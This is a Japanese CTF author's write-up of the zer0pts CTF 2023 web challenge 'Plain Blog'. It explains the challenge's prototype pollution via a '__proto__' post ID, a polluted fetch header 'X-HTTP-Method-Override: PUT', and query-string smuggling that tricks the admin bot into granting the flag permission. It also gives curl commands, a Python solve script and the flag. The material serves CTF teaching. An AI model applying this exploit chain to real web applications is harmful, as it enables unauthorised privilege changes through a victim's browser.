MAX_LIKES = 5000 # … post '/api/post/:id/like' do id = params['id'] if !posts.key?(id) return { 'error' => 'no such post' }.to_json end permission = posts[id]['permission'] if !permission || !permission['like'] return { 'error' => 'like is restricted' }.to_json end token = request.env['HTTP_AUTHORIZATION'] is_admin = token == ADMIN_KEY likes = (params['likes'] || 1).to_i if !is_admin && likes != 1 return { 'error' => 'you can add only one like at one time' }.to_json end if (posts[id]['like'] + likes) > MAX_LIKES return { 'error' => 'too much likes' }.to_json end posts[id]['like'] += likes # get 1,000,000,000,000 likes to capture the flag! if posts[id]['like'] >= 1_000_000_000_000 posts[id]['permission']['flag'] = true end return { 'post' => posts[id] }.to_json end
このブログのほかの機能を見てみましょう。記事の投稿のほかにも、PUT /api/post/:id
というタイトルや本文を編集できるAPIがあります。ここで permission
を書き換えればいいのではと思ってしまいますが、ちゃんとチェックが入っています。ただし、このチェックは !is_admin && params['permission']
と、adminであれば permission
の書き換えができるということがわかります。CSRFか何かでbotに記事の permission
を書き換えさせることができないでしょうか。
put '/api/post/:id' do token = request.env['HTTP_AUTHORIZATION'] is_admin = token == ADMIN_KEY id = params['id'] if !posts.key?(id) return { 'error' => 'no such post' }.to_json end id = params['id'] if SAMPLE_IDS.include?(id) return { 'error' => 'sample post should not be updated' }.to_json end if !is_admin && params['permission'] return { 'error' => 'only admin can change the parameter' }.to_json end if !(params['title'] || params['content']) return { 'error' => 'no title and content specified' }.to_json end posts[id].merge!(params) return posts[id].to_json end
Prototype PollutionとCSRF
CSRFができるような処理がないか、フロントエンドのコードを見てみます。XSSについては、innerHTML
等は使われておらずできそうにありません。記事を表示する際の処理を見てみましょう。ここでは、複数の記事を一度に表示するために、フラグメント識別子で指定された記事IDの一覧について、ひとつずつ fetch
で取得しています。
if (page === 'post' && params.has('id')) { const ids = params.get('id').split(','); const types = { title: 'string', content: 'string', like: 'number' }; let posts = {}, data, post; for (const id of ids) { try { const res = await (await request('GET', `/api/post/${id}`)).json(); // ToDo: implement error handling if (res.post) { data = res.post; } // to allow duplicate id but show only once if (!(id in posts)) { posts[id] = {}; } post = posts[id]; // type check for ([key, value] of Object.entries(data)) { // we don't care the types of properties other than title, content, and like // because we don't use them if (key in types && typeof value !== types[key]) { continue; } post[key] = value; } } catch {} } content.innerHTML = ''; for (const [id, post] of Object.entries(posts)) { content.appendChild(await renderPost(id, post, isAdmin ? 1000 : 1)); } }
実はここにPrototype Pollutionが存在しています。「型チェック」として後にレンダリング時に参照される title
, content
が文字列、like
が数値であるかを見ているわけですが、これらのプロパティ以外はそのままチェックもなしに通しています。ここで、もし post
が Object.prototype
ならばどうなるでしょうか。このとき、data
に含まれているプロパティがそのまま Object.prototype
にセットされ、Prototype Pollutionが起こります。
// type check for ([key, value] of Object.entries(data)) { // we don't care the types of properties other than title, content, and like // because we don't use them if (key in types && typeof value !== types[key]) { continue; } post[key] = value; }
では、どうやって post
を Object.prototype
に、data
をユーザがコントロールしているコンテンツにできるでしょうか。まず前者について考えていきます。ここで id
はフラグメント識別子に含まれる記事IDです。__proto__
にしておけば、posts
はオブジェクトなので post
には Object.prototype
が入ります。
// to allow duplicate id but show only once if (!(id in posts)) { posts[id] = {}; } post = posts[id];
data
はAPIサーバから持ってきた記事の情報です。post
というプロパティがそのレスポンスに含まれている場合にのみ、data
が置き換えられます。先に通常の記事の情報を取得してから、次に __proto__
というIDの記事の情報を取得するという場合ではどうなるでしょうか。
__proto__
というIDの記事を取得しようとするとき、data
にはすでに先に取得した記事の情報が入っています。/api/post/__proto__
というリクエストは、そのようなIDの記事はないので失敗し、post
というプロパティを含まないJSONが返ってきます。したがって、res.post
はfalsyとなり、data
には直前の記事の情報が入ったままになります。
このように、Object.prototype
に注入したいプロパティを含んだ記事、それから __proto__
という順番で記事を読み込ませることで、Prototype Pollutionが成立するわけです。
const res = await (await request('GET', `/api/post/${id}`)).json(); // ToDo: implement error handling if (res.post) { data = res.post; }
「Object.prototype
に注入したいプロパティを含んだ記事」の作成は容易です。APIサーバの PUT /api/post/:id
について、permission
というパラメータが含まれているかどうかはチェックされていましたが、それ以外のパラメータはなんでも受け入れるようになっています。
言葉ではわかりにくいので、実際に試してみます。まず、以下のようにして「Object.prototype
に注入したいプロパティを含んだ記事」を作成します。
$ # 適当な記事を作成 $ curl 'http://plain-blog.2023.zer0pts.com:8400/api/post' -d title=test -d content=test {"post":{"id":"0d196657-c0a3-4ba7-a280-223484f9a2b6","title":"test","content":"test","like":0,"permission":{"flag":false,"like":true}}} $ # Object.prototype.hoge = 'fuga' 相当のことができるように、hogeというプロパティを生やす $ curl -X PUT 'http://plain-blog.2023.zer0pts.com:8400/api/post/0d196657-c0a3-4ba7-a280-223484f9a2b6' -d title=test -d content=test -d hoge=fuga {"id":"0d196657-c0a3-4ba7-a280-223484f9a2b6","title":"test","content":"test","like":0,"permission":{"flag":false,"like":true},"hoge":"fuga"}
そして、/#page=post&id=0d196657-c0a3-4ba7-a280-223484f9a2b6,__proto__
にアクセスします。開発者ツールのコンソールを開いて ({}).hoge
を実行してみると、fuga
という文字列が返ってきました。Prototype Pollutionが成功しました。
でも、このPrototype Pollutionで何をすればよいでしょうか。フロントエンドではサードパーティのライブラリは使われておらず、gadgetがあるようには見えません。
実は、fetch
がgadgetとして使えます。いいねボタンを押した際の処理を見てみると、fetch
で POST /api/post/(記事のID)/like
を叩いていることがわかりますが、たとえば、ここではヘッダの設定が行われていないので、Object.prototype.headers
を汚染することで好きなヘッダを送信させることができます。
function request(method, path, body=null) { const options = { method, mode: 'cors' }; if (body != null) { options.body = body; } const baseUrl = isAdmin ? '<?= API_BASE_URL_FOR_ADMIN ?>' : '<?= API_BASE_URL ?>'; return fetch(`${baseUrl}${path}`, options); } async function addPost(title, content) { const formData = new FormData(); formData.append('title', title); formData.append('content', content); const res = await (await request('POST', '/api/post', formData)).json(); if (!('post' in res)) { // ToDo: implement error handling return; } const post = res.post; location.assign(`#page=post&id=${post.id}`); }
しかし、我々が叩きたいのは PUT /api/post/:id
です。いいねボタンの押下で発生する fetch
では、明示的に POST
メソッドを使用するようオプションが与えられています。また、APIサーバでも、以下のように Access-Control-Allow-Methods
ヘッダに PUT
が含まれていないため、そもそもフロントエンドサーバからAPIサーバへのクロスオリジンなリクエストでは PUT
メソッドを利用できません。
'Access-Control-Allow-Methods' => 'GET, POST, OPTIONS' # ToDo: add PUT method after implementing `PUT /api/post/:id` properly
実は、こんなときに X-HTTP-Method-Override
ヘッダが使えます。Rackのソースコードを確認すると、このヘッダが与えられている場合に、たとえばその値が PUT
であれば、本来は POST
メソッドで送られたリクエストであったとしても、それを PUT
メソッドで送られたものとして扱うという挙動を示します。
PUT
メソッドを送る方法は見つかりましたが、まだどうやって /api/post/:id
というパスで fetch
させるか、またすでに body
が fetch
のオプションで設定されている(Prototype Pollutionで汚染できない)状態で permission
というパラメータを送らせるかという問題があります。これは、それぞれPath Traversal的なテクニックと、Sinatraでは params['permission']
はPOSTで送られたパラメータだけでなく、クエリパラメータも参照するという仕様が使えます。
具体的には、(botは最初の記事のいいねボタンを押すため)最初に表示する記事のIDを (存在する記事のID)?title=piyo&permission[flag]=yes&
とします。botがいいねボタンを押した際のリクエストの送信先は、/api/post/${id}/like
にこのIDが展開されて、/api/post/(存在する記事のID)?title=piyo&permission[flag]=yes&/like
となり、後ろにくっついてくる /like
を無視させることができるわけです。また、同時に permission[flag]=yes
をクエリパラメータとして送信させることもできるわけです。
フラグを得る
ようやくすべてが揃いました。Prototype Pollutionで fetch
時に X-HTTP-Method-Override: PUT
が送信されるようにしつつ、記事のいいねボタンが押される際の fetch
の送信先を /api/post/(記事のID)
にしつつ、またその際にクエリパラメータとして permission[flag]=yes
が送信されるようなURLを用意するスクリプトを書きます。
import requests API_BASE_URL = 'http://localhost:8400' FRONTEND_BASE_URL = 'http://localhost:8401' r = requests.post(f'{API_BASE_URL}/api/post', data={ 'title': 'aaa', 'content': 'aaa' }) id = r.json()['post']['id'] data = { 'title': 'bbb', 'content': 'bbb', 'headers[X-HTTP-Method-Override]': 'PUT' } r = requests.put(f'{API_BASE_URL}/api/post/{id}', data='&'.join(f'{k}={v}' for k, v in data.items()), headers={ 'Content-Type': 'application/x-www-form-urlencoded' }) payload = f'{id}%3ftitle%3dpiyo%26permission%5bflag%5d%3dyes%26,{id},__proto__,a' print(f'report {payload}') print(f'then, access {API_BASE_URL}/api/post/{id}/has_enough_permission_to_get_the_flag')
これを実行して生成されたペイロードを報告し、出力されたURLにアクセスすると、フラグが得られました。
zer0pts{tan_takatatontan_ton_takatatantatotan_8jOQmPx2Mjk}
作問の背景など
first bloodはKAIST GoNでした。おめでとうございます。フラグは「Do It Yourself!! -どぅー・いっと・ゆあせるふ-」です。このフラグにした理由は特にありません。
この問題もコンセプトは特にありません。_method
や X-HTTP-Method-Override
といったものでメソッドのオーバーライドができると知り、それを問題にできないかなと考えて試行錯誤していたところ、X-HTTP-Method-Override
が必要となるシチュエーションとしてCORSを使う(細かくいうと、Access-Control-Allow-Methods
で PUT
メソッドでのリクエストをできないようにする)という妙なアイデアが浮かび、また X-HTTP-Method-Override
が使えるフレームワークとしてSinatraを採用することに決め、結果的にサーバ側とクライアント側の両側のピースを組み合わせてパズルをする問題となったものです。
Neko NoteといいPlain Blogといい、これ知ってますか? というだけの問題になるのは面白くないだろうと思いつつ、前者は「textareaの編集をundoする」というひらめき(とその方法にたどり着くまで調べ続ける根性)があれば、後者も「POSTメソッドしか使えない状況で PUT /api/post/:id
を叩かせることはできるだろうか」というひらめき、あるいは知識があれば解けるだろうと考えて出題しました。ただ、もうちょっと知識よりパズルに比重を置いた問題か、Ruby, Rack, Sinatraあたりの仕様をもっと生かした問題にしたかったという気持ちはあります。
最後に
私が作問した問題についての解説は以上です。参加してくださった皆様、そして大会を支援してくださったスポンサーであるOtterSec, Hack The Box, Google, TokyoWesternsの皆様、ありがとうございました。いつも皆さんのwriteupや提出いただいたsurveyを楽しみに作問しており、今回も楽しく拝読しました。zer0pts CTF 2023は終了しましたが、まだsurveyは受け付けていますし、writeupも書いていただけると、とてもとても嬉しいです。では、また(あれば)zer0pts CTF 2024やらなんやらでお会いしましょう。
*1:昨年の大会では1問も出せなかったので、その分張り切りました
*2:TSG CTFでいわれるBeginner問題を思い出された方もいらっしゃるかもしれません。事実、高度な前提知識がなくとも解けるということを意識しつつ作問した節があり、またある程度簡単なものにできたというように考えていましたが、warmupとは難しいものだと思いました。ところで、今年はTSG CTFが開催されると聞いたんですが、本当ですか?
*3:何を期待してこういったツールを回しているのか気になります